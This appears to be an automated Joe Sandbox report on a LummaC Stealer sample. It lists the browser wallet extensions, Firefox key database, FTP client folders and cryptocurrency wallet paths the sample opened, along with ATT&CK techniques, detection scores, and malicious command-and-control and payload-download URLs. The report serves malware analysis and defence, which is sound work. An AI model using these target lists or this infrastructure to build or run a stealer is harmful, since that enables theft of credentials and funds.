Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2142166412.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bzzF5OFbVi.exe PID: 6536, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bzzF5OFbVi.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	45 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	45 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
bzzF5OFbVi.exe	54%	Virustotal		Browse
bzzF5OFbVi.exe	61%	ReversingLabs	Win32.Trojan.Symmi
bzzF5OFbVi.exe	100%	Avira	TR/Crypt.TPM.Gen
bzzF5OFbVi.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://fancywaxxers.shop/apiCocW	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apia	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/s	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apiMicrosoft	100%	Avira URL Cloud	malware
http://185.215.113.16/c	0%	Avira URL Cloud	safe
https://fancywaxxers.shop/M	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/n	100%	Avira URL Cloud	malware
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/a	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exer6	0%	Avira URL Cloud	safe
http://185.215.113.16/D	0%	Avira URL Cloud	safe
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
fancywaxxers.shop	104.21.64.1	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.164	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_104.5.dr	false		high
https://duckduckgo.com/chrome_newtab	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/c	bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fancywaxxers.shop/apiCocW	bzzF5OFbVi.exe, 00000000.00000003.2208979410.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apia	bzzF5OFbVi.exe, 00000000.00000003.2208979410.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_104.5.dr	false		high
https://fancywaxxers.shop:443/apiMicrosoft	bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_104.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_127.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_104.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_106.5.dr, chromecache_127.5.dr	false		high
http://185.215.113.16/off/def.exer6	bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_104.5.dr	false		high
http://x1.c.lencr.org/0	bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_104.5.dr, chromecache_92.5.dr, chromecache_128.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://github.com/gewarren	chromecache_104.5.dr	false		high
https://fancywaxxers.shop/n	bzzF5OFbVi.exe, 00000000.00000003.2182058874.0000000000C17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://fancywaxxers.shop/s	bzzF5OFbVi.exe, 00000000.00000003.2173636934.00000000054DF000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2209057262.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2172892208.00000000054E2000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2208948464.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_104.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_104.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_104.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://fancywaxxers.shop/a	bzzF5OFbVi.exe, 00000000.00000003.2209057262.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2208948464.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/certhelp	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_104.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_127.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://www.ecosia.org/newtab/	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/M	bzzF5OFbVi.exe, 00000000.00000003.2142218635.0000000000C17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_104.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_104.5.dr	false		high
http://185.215.113.16/	bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_104.5.dr	false		high
http://185.215.113.16/D	bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_106.5.dr, chromecache_127.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_106.5.dr, chromecache_127.5.dr	false		high
http://185.215.113.16/off/def.exe	bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000002.2394060917.00000000007FB000.00000004.00000010.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_104.5.dr	false		high
https://fancywaxxers.shop/	bzzF5OFbVi.exe, 00000000.00000003.2162147285.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2173533021.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2141348996.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2182058874.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2158336833.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2140917014.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://channel9.msdn.com/	chromecache_106.5.dr, chromecache_127.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_106.5.dr, chromecache_127.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.64.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582702
Start date and time:	2024-12-31 09:47:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bzzF5OFbVi.exe renamed because original name is a hash value
Original Sample Name:	00fd88b1eada904e06f23909f142caf6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@11/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.185.195, 184.28.89.167, 216.58.206.78, 173.194.76.84, 95.101.150.2, 142.250.185.206, 142.250.186.174, 142.250.186.142, 216.58.206.42, 142.250.181.234, 216.58.206.74, 172.217.23.106, 142.250.186.138, 142.250.186.42, 142.250.185.138, 172.217.16.202, 142.250.185.106, 142.250.185.74, 172.217.18.10, 142.250.186.106, 142.250.184.234, 142.250.186.74, 142.250.184.202, 142.250.185.170, 20.42.65.84, 2.16.168.100, 2.16.168.102, 104.208.16.89, 13.74.129.1, 204.79.197.237, 13.107.21.237, 142.250.185.142, 142.250.185.78, 142.250.181.238, 142.250.186.78, 142.250.74.206, 172.217.18.3, 216.58.212.174, 142.250.185.238, 20.109.210.53, 13.107.246.60, 13.107.246.45, 184.28.90.27, 23.1.237.91
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, onedscolprdcus11.centralus.cloudapp.azure.com, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdeus02.eastus.cloudapp.azure.com, update.googleapis.com, clients1.google.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:48:26	API Interceptor	15x Sleep call for process: bzzF5OFbVi.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

